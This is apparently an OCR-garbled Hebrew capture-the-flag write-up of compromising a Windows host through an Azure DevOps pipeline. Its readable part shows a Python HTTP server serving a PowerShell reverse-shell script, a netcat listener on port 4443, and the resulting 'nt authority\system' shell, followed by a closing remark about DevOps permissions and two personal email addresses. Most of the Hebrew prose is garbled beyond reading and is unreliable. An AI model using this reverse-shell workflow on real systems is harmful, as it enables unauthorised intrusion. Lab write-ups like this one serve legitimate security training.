Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

NN NOY7R) NOPRIVIR NNIXA ['TRY pipeline-N MK YN YUKW 197 TR It 90 N

.rev.ps1 yalp X¥N1 naw n"p'na HTTP NYw NN9a '71a7nai 4443 0119 7V netcat NIY¥NXA (079-0'77

2V AUy Mwn .rev.psl yYalzn DX JIWn? N0 09MPON Y I'7Y MW pipeline-n N¥N DY
YaIj7n DX AT KINEVOMIZON YW XA 27WN YXAN' [N INKYT .92 Yalpn DX WY YW mannn

N71DN DX YIN7 oY T NNY NTY

7v 1"7nNN NYRA N7wn K0 4443 01192 117Y NIDNRN DY PYNNNNYT NAD1N 1DIN NMIYAY 11PN

.NYPAN NX 019NY7 7'awa DY 21I'TA D' netcat

DN 7Y pinn DITpe yNin'? 0r'7a10n ntnai PS yinn reverse shell Xt o
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qI2'N 72PN netcat MW A TX Lrev.psl yalpn NXR wan N7 HTTP M 78N TX) namnal

(M NwAN "'uPILAR

’_—= -[~/tools]
rlwrap nc 4443
listening on [any] 4443 ...
. connect to [10.10.16.8] from (Unknown) [10.10.10.203] 59539
HTTP/1.1" 200 -  Windows PowerShell running as user WORKER$ on WORKER

Copyright (C) 2015 Microsoft Corporation. All rights reserved.

whoami
nt authority\system
Ps w:\agents\agent11\_work\15\s> ||

nid'o

NNI DevOps-n D71V MY XNy UTNN [11'>N NKX 112a¥N .0Yn X7 1172y ,0T MNN 7Y 1nro7 nvan ™

N'YUNNUN? na¥xn''n Azure DevOps-¥ D'901N VN *7D

NN )2 72 yITn n7RW7 nayn NNY 0T 7W1) N2 0YRY Nl naraon 73 7y 1non? nfnoindnn

NN 7¥17 [N TYD DIRINT MMRNN 79 wn 'vnal (V7 NN D'pwnnnn devops 'WaNi D'NN9N

'WIR N7 2'¥N7 NNRA RIX NN7ANNY DWTN NW2IN 'RNYT IR 9002 100 NI QY X7 RN
DA Y T¥NNAI ;N2 DY DN'Y'91 D'WATE Azure 7w DevOps-n N0 W nnifz 7V yT'n NNVAN
MIX2 NINYIN 7017 21WN DD YITALL,N2 DINYRY 1780 NNMA D 720 NID0N 7R NIN'D 'WIR qIunY

(1..aw1 a1y 7947 pipelines 7w N2 NIKNAWN ATOY X71) NI

© wTn InwNn "MMXNNN DNNR7Y DN

D' anpn 7y

.D'7'01 21X ,NIYPYUNIL N0 121N VTR NNVANI NIYYIN 7N 7oyNn , 20 A, TITIIXK -
A1dN1NTIO ,0'VI7IRI0 22N .N'VID K71 MV K7 NNANA YT'N NNVAX PIN,27 [2,0QP7R NN e
by

27'"na memes-I NNYN ,NIYRYYT? DT

ordavid36@gmail.com

jonathanelkabas@gmail.com
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